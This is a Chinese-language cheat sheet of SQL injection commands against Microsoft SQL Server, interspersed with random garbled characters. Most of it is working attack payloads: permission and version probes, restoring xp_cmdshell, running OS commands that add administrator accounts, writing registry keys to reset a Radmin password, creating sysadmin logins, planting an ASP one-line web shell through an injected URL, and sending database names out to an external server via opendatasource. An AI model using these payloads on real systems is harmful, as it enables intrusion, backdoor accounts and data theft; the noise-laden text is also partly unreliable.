阿D常用的一些注入命令, ~' X4 }( f0 A0 m
//看看是什么权限的# s+ V. t! y* ~6 y) h$ t8 [
and 1=(Select IS_MEMBER('db_owner'))* N( j" ?# F$ m' f2 ^( a' J+ D
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
& e* G8 x$ q1 r1 [/ \9 c0 N1 m- x
) O! i; e4 m! E6 U9 b! i! h//检测是否有读取某数据库的权限2 @ f, A( s$ J. y" `2 R- `
and 1= (Select HAS_DBACCESS('master')): z/ ]! Z& d/ ~. j! N7 n
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --! _! e1 g3 j7 u" P9 A- }% a7 |
5 C K7 X( ?2 e$ p
3 B7 H6 n) w+ _数字类型. Z7 h5 c1 |# {5 @0 i8 S' ^
and char(124)%2Buser%2Bchar(124)=0
, I% u4 z- z2 X2 j" n: v, Y1 c0 u0 T# C3 s. p) F" e$ W
字符类型
; M J# o- ~1 P: t+ F/ C' and char(124)%2Buser%2Bchar(124)=0 and ''='( T0 @' M* }# l z
' L( E/ q5 n+ C8 E9 J4 I! ~# w搜索类型
2 ?8 e1 d+ R1 p2 ?- C/ Z& \' and char(124)%2Buser%2Bchar(124)=0 and '%'='9 w# E) U& m1 Z, d' Y, X
* j2 M0 u& e m, l. P) @爆用户名
( W$ K% V2 y* b9 r- `) W" tand user>0' w) x6 c- `( [* [$ R' z
' and user>0 and ''='( b: y# b/ J0 | F7 z2 `9 y
7 d7 f% A9 ~( U& [" p& D! G7 y9 ` P检测是否为SA权限
w3 l$ Q+ t3 q" _$ \and 1=(select IS_SRVROLEMEMBER('sysadmin'));--' q- P- N. v4 I7 B2 I
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --; x, Y! r6 _5 z6 p: N) x% G
# ?# d5 d5 ~5 l* H }检测是不是MSSQL数据库: F8 b! {1 i0 B4 l8 f
and exists (select * from sysobjects);-- / E* f' C V6 T8 ^8 z2 }6 R* x
a* a. i: U+ D5 @% A+ T9 X& o
检测是否支持多行$ S O) ~+ t! q6 X0 w
;declare @d int;-- 1 \* @$ P8 K7 W& {' @4 @8 i3 v
6 q2 m1 h/ N" w% x: b. K恢复 xp_cmdshell6 Q( Y) i% H& k1 ~0 i
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--) Y# t9 j$ @* e( Y( n! l
/ W# U/ L4 Y1 T% K% p1 F5 i
# B+ ` M' L/ [3 R) M9 ]- Oselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
% I- O" R2 e% ^" ]
: j* V4 g+ p/ P0 a# y! K2 n//-----------------------
" n, \3 w& A( S9 z0 Z// 执行命令
x6 e8 f$ G; ]3 ^//-----------------------
) C/ P/ [6 [9 l首先开启沙盘模式:
1 \ ~6 G" [0 hexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
. i0 d0 W- F! y4 M+ N, r8 {4 k- S) O3 n
然后利用jet.oledb执行系统命令+ B" H/ [4 X8 e+ p4 Y
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')6 p$ X( O( o& \- j
8 Z0 ^' S' w8 |+ M1 f/ |; |
执行命令* i. V# B" z' E
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
# |' O0 _* f% e' i+ ~$ f$ x v
- U" K$ v% x6 X3 B9 |EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'# x+ ^- t$ _ ~' l0 G, C
" W) Z, f; e H7 I" ]0 K0 k4 ~判断xp_cmdshell扩展存储过程是否存在:
: d$ n; _) m' L0 [9 o5 ~+ b7 K( Y& ?http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')7 r0 Q7 j4 K* u' A( M7 e
& t; r# l4 w) \( }3 I8 O5 }写注册表
4 o* Q0 l9 B5 }$ K( ]$ yexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
: e5 f$ b+ K* @; Y6 x# ^8 W5 I; K |
REG_SZ8 R5 b7 i8 v8 B- L
0 s/ p! n* Z8 K5 J8 n
读注册表; q' X7 V* F$ P' K1 d% c
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
8 i% R7 ~" d" g
6 G: `6 v8 X9 S$ O X读取目录内容: ?1 @ H6 W6 e, p3 P
exec master..xp_dirtree 'c:\winnt\system32\',1,1! U7 u% N' ?( ]# x& ?# G
- ? \1 `* G6 h4 w3 n2 A
( t7 R* c- k8 l# m I: ~" ?% ]# X/ x
数据库备份
% e" s# M- x- I7 ^# Mbackup database pubs to disk = 'c:\123.bak'
# y- g+ U+ D# {- Y3 |3 u w3 M; `: g1 e9 G/ z2 y1 o
//爆出长度
" O# L1 @- u7 }- _' gAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
) {1 j5 y R& ^4 @6 ^* v
2 `1 y/ A; |) a/ p. m( b0 s; k. k# ` e n/ A4 B+ B
. ?" ?+ n' u3 @! f( ]更改sa口令方法:用sql综合利用工具连接后,执行命令:
! @ v' J, L) D! g; X8 p# \exec sp_password NULL,'新密码','sa'
' G+ x2 Q3 E+ [/ g0 J- E0 ~
$ q2 |! v2 b$ {" E! {2 @添加和删除一个SA权限的用户test:4 `8 i. Q, N8 ?& }+ q. n
exec master.dbo.sp_addlogin test,ptlove
# f, Q6 L( ~# N. L' I4 _ Gexec master.dbo.sp_addsrvrolemember test,sysadmin
9 T+ _" Z) F! T& W1 Z; v& B8 j5 Z" r J3 W! k/ X2 s- Q- o
删除扩展存储过过程xp_cmdshell的语句:
7 d! P/ r7 d7 F. D! f9 M% fexec sp_dropextendedproc 'xp_cmdshell'1 J9 L; M. J& Z0 f
6 z( O/ |0 X }# |8 p$ g; D% q- S
添加扩展存储过过程
$ s4 L" A* s6 p/ U5 z6 u. b4 DEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' + T9 C( P2 {8 c" B7 D9 H
GRANT exec On xp_proxiedadata TO public 4 B2 \9 p7 t; c9 P% E
: _$ K. [% E! C
2 q. {( ?! {+ ?停掉或激活某个服务。
5 }$ I) e8 V# ~' G3 A5 e7 }, o' x |) j
/ a+ O. C5 T, N9 I1 C- G/ D9 U5 nexec master..xp_servicecontrol 'stop','schedule'" p2 j' a4 q: V: h7 g
exec master..xp_servicecontrol 'start','schedule'5 j T4 q" E9 a1 u; w- H6 r. ~1 z$ n* ~
* L4 o1 q4 e% A* N0 D
dbo.xp_subdirs2 Y( L2 [- s Y {
* W" Q( l9 [0 F( R6 k0 z
只列某个目录下的子目录。' z% G4 ~( F' z8 n3 w
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'7 c5 A. H5 N9 \! l* x( o
6 H4 z. Q+ b1 W. Kdbo.xp_makecab; `4 o2 D; F6 g
" t% K: Y6 }5 X- M/ G
将目标多个档案压缩到某个目标档案之内。
8 O/ J& A3 H1 |所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
* J. |* Q$ F/ c) k+ P. R) j% J% E; L% k- s0 G ^
dbo.xp_makecab
. k1 Y/ v' L/ ~! v. ^; w4 b6 Q' d: I'c:\test.cab','mszip',1,* f7 A9 g2 W/ V; `) j) ]
'C:\Inetpub\wwwroot\SQLInject\login.asp',
u2 I% S" J* V'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
% N: z0 j3 p! X: Z: i- u9 I5 N1 ~7 o( ^+ Y, V, u3 Y* e6 n1 P3 f
xp_terminate_process
. x1 H& j+ z% m7 R7 K2 s
2 i; s1 b% J- R( s5 t0 F% d停掉某个执行中的程序,但赋予的参数是 Process ID。
; m3 w3 W% E% K利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
4 T% l" i5 x# ~+ V3 t% d: ]& W
% w7 ?; @3 x$ s9 _7 e$ }- {+ f1 qxp_terminate_process 2484
& q% o `3 J, ~4 Z: m( m8 u# i8 L' C( Q1 d% [8 T8 w$ K4 I1 g* U
xp_unpackcab/ ~, s/ \, I* [9 b
0 z4 g: d& S9 m" z" {2 f( _解开压缩档。
& w# y# q0 J; A$ F: `
- L% `& [: A" j: Dxp_unpackcab 'c:\test.cab','c:\temp',1
5 Z$ k. _7 Q( _4 F, q* `4 `8 F1 y5 X9 e9 p# ^* I( R" S) n
1 i; t9 u8 R8 a" V1 B+ |
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234$ P4 {& i+ [5 i7 @& G* S
) E$ \0 E& V; J9 A) U$ [
create database lcx;
/ U: u9 R% Q% k+ E3 i+ Y& iCreate TABLE ku(name nvarchar(256) null);0 z T0 {% ?/ H# e6 o; q9 m' P
Create TABLE biao(id int NULL,name nvarchar(256) null);% ]3 f/ J; S+ J( ^1 ? a7 F
: F/ e0 ^' ?! }' L9 F8 V, X J//得到数据库名4 Y: \# {/ t* {- v4 u, v! E$ z
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases) R7 [9 {+ n% N# J: z" y I; g
) H( r7 C' J& w3 K2 I/ J9 N5 H, K, A
7 j! `% T9 @" n& y1 B7 K
//在Master中创建表,看看权限怎样$ |: s( g% k8 A6 s$ V' L! d
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
1 \; x5 L2 S8 `& K% D: H- l: m+ j3 ]8 S
用 sp_makewebtask直接在web目录里写入一句话马:
`+ T D- e+ y; I8 p3 k2 x) jhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--" }, Q( y+ }5 E3 r/ Y: _; a
7 [8 s. Q( c2 I2 d6 ?# s% i//更新表内容' _: d- Q) Q$ a/ T0 Y
Update films SET kind = 'Dramatic' Where id = 123
6 z% L( o8 j/ Y; L
6 e/ W3 N7 k. O2 X- d//删除内容
0 C- `/ w" h: udelete from table_name where Stockid = 3 |